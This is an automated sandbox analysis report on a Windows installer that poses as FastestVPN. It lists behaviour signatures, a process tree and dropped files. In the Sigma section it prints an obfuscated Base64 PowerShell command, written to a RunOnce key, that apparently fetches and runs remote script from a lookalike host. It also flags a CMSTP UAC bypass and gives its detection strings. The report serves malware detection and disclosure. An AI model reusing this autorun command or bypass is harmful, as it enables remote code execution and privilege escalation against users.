Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mnFHs2DuKg.exe

Overview

General Information

Sample name:mnFHs2DuKg.exe
renamed because original name is a hash value
Original sample name:39551715b734f4a331dd0b39a953a79567f642dc38bfa173f9849a4dbdd7d34e.exe
Analysis ID:1524829
MD5:9b5f9e0459cf54039a5bd005835daf7a
SHA1:19bf1f1e7c133ab6f3b4d69ec0d69dce25ab272f
SHA256:39551715b734f4a331dd0b39a953a79567f642dc38bfa173f9849a4dbdd7d34e
Tags:AciraConsultingIncexeuser-JAMESWT_MHT
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Yara detected UAC Bypass using CMSTP
Creates an autostart registry key pointing to binary in C:\Windows
Creates autostart registry keys with suspicious values (likely registry only malware)
Modifies the DNS server
NDIS Filter Driver detected (likely used to intercept and sniff network traffic)
Queries sensitive system registry key value via command line tool
Reads the Security eventlog
Reads the System eventlog
Suspicious powershell command line found
Uses cmd line tools excessively to alter registry or file data
Uses regedit.exe to modify the Windows registry
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to delete services
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read device registry values (via SetupAPI)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates driver files
Creates files inside the driver directory
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
Enables driver privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
OS version to string mapping found (often used in BOTs)
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries device information via Setup API
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the installation date of Windows
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Tap Installer Execution
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mnFHs2DuKg.exe (PID: 4080 cmdline: "C:\Users\user\Desktop\mnFHs2DuKg.exe" MD5: 9B5F9E0459CF54039A5BD005835DAF7A)
    • mnFHs2DuKg.tmp (PID: 4536 cmdline: "C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp" /SL5="$10460,12233551,735744,C:\Users\user\Desktop\mnFHs2DuKg.exe" MD5: 319E022A72BA671928D266B7D372414E)
      • cmd.exe (PID: 2332 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • reg.exe (PID: 3648 cmdline: reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 2512 cmdline: find /i "x86" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • cmd.exe (PID: 3148 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • tapinstall.exe (PID: 5308 cmdline: tapinstall.exe remove tap0901 MD5: E313336C82EB265542664CC7A360C5FF)
        • tapinstall.exe (PID: 2984 cmdline: tapinstall.exe install OemVista.inf tap0901 MD5: E313336C82EB265542664CC7A360C5FF)
      • cmd.exe (PID: 1160 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 5856 cmdline: sc stop fastestvpndriver MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 1888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • reg.exe (PID: 796 cmdline: reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 3920 cmdline: find /i "x86" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • reg.exe (PID: 5204 cmdline: reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 6352 cmdline: find /i "Windows 7" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • xcopy.exe (PID: 1368 cmdline: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers MD5: 39FBFD3AF58238C6F9D4D408C9251FF5)
        • nfregdrv.exe (PID: 1000 cmdline: release\nfregdrv.exe -u fastestvpndriver MD5: 9333F583E2D32A47276DCEC7C2391FD2)
        • nfregdrv.exe (PID: 4908 cmdline: release\nfregdrv.exe fastestvpndriver MD5: 9333F583E2D32A47276DCEC7C2391FD2)
      • sc.exe (PID: 4520 cmdline: "C:\Windows\system32\sc.exe" stop FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • FastestVPN.WindowsService.exe (PID: 5616 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
        • WerFault.exe (PID: 2672 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 1076 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • sc.exe (PID: 1656 cmdline: "C:\Windows\system32\sc.exe" delete FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 4520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • FastestVPN.WindowsService.exe (PID: 5308 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
      • subinacl.exe (PID: 2976 cmdline: "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO MD5: 4798226EE22C513302EE57D3AA94398B)
        • conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • sc.exe (PID: 6816 cmdline: "C:\Windows\system32\sc.exe" start FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 2952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 5648 cmdline: "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • regedit.exe (PID: 1660 cmdline: regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg" MD5: 999A30979F6195BF562068639FFC4426)
  • svchost.exe (PID: 6988 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • drvinst.exe (PID: 7096 cmdline: DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "000000000000016C" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
    • drvinst.exe (PID: 5792 cmdline: DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000154" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
  • svchost.exe (PID: 7060 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • FastestVPN.exe (PID: 6916 cmdline: "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun MD5: 01CF6EF766C41BB2C99A2CCCDECC69C1)
    • powershell.exe (PID: 5636 cmdline: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 6160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 7080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 6040 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 1712 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • svchost.exe (PID: 6352 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • FastestVPN.WindowsService.exe (PID: 2948 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Program Files\FastestVPN\Resources\is-QVG37.tmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
    C:\Program Files\FastestVPN\Resources\is-QVG37.tmpINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
    • 0x339057:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    • 0x33db63:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    • 0x3e5f06:$s1: CoGetObject

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: CurrentVersion Autorun Keys Modification
    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: pOwErshElL -ENc LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAGkAbgAuAHAAaABwAA==, EventID: 13, EventType: SetValue, Image: C:\Windows\regedit.exe, ProcessId: 1660, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FastestVPNService
    Sigma detected: Startup Folder File Write
    Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp, ProcessId: 4536, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk
    Sigma detected: Suspicious Copy From or To System Directory
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, CommandLine: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\xcopy.exe, NewProcessName: C:\Windows\System32\xcopy.exe, OriginalFileName: C:\Windows\System32\xcopy.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1160, ParentProcessName: cmd.exe, ProcessCommandLine: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, ProcessId: 1368, ProcessName: xcopy.exe
    Sigma detected: Suspicious Powershell In Registry Run Keys
    Source: Registry Key setAuthor: frack113, Florian Roth (Nextron Systems): Data: Details: pOwErshElL -ENc LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAGkAbgAuAHAAaABwAA==, EventID: 13, EventType: SetValue, Image: C:\Windows\regedit.exe, ProcessId: 1660, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FastestVPNService
    Sigma detected: Tap Installer Execution
    Source: Process startedAuthor: Daniil Yugoslavskiy, Ian Davis, oscd.community: Data: Command: tapinstall.exe remove tap0901, CommandLine: tapinstall.exe remove tap0901, CommandLine|base64offset|contains: , Image: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, NewProcessName: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, OriginalFileName: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2332, ParentProcessName: cmd.exe, ProcessCommandLine: tapinstall.exe remove tap0901, ProcessId: 5308, ProcessName: tapinstall.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, CommandLine: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun, ParentImage: C:\Program Files\FastestVPN\FastestVPN.exe, ParentProcessId: 6916, ParentProcessName: FastestVPN.exe, ProcessCommandLine: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, ProcessId: 5636, ProcessName: powershell.exe
    Sigma detected: Windows Processes Suspicious Parent Directory
    Source: Process startedAuthor: vburov: Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, ProcessId: 6988, ProcessName: svchost.exe

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    Exploits

    barindex
    Yara detected UAC Bypass using CMSTP
    Source: Yara matchFile source: C:\Program Files\FastestVPN\Resources\is-QVG37.tmp, type: DROPPED
    Source: mnFHs2DuKg.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\unins000.datJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-QKJFC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-2UQE3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IQDKV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-J47PI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-9UKRQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-G4HV7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-BBM9J.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-10HRM.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-P51DA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-U7JPO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IDET5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-LKQ8H.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-VEE4L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-3211D.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-LTL2E.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-J1CTU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-CIEMI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-1MJTU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-3A406.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-AA9TI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-JURBP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8ATR4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-QIAH3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-GVJD7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-51N13.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-FQ58N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-A6140.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-2MRML.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-28L78.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-KH3QE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-9GVRJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-R5J7J.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-G502V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-83481.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-F3KEK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-RCMHQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-U4UD1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-380D9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-88O7S.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-M4SB1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IHPI5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-7IV9U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-VO662.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-6S3D1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-B33J3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8IJ1N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8MGRV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-UK0LH.tmpJump to behavior
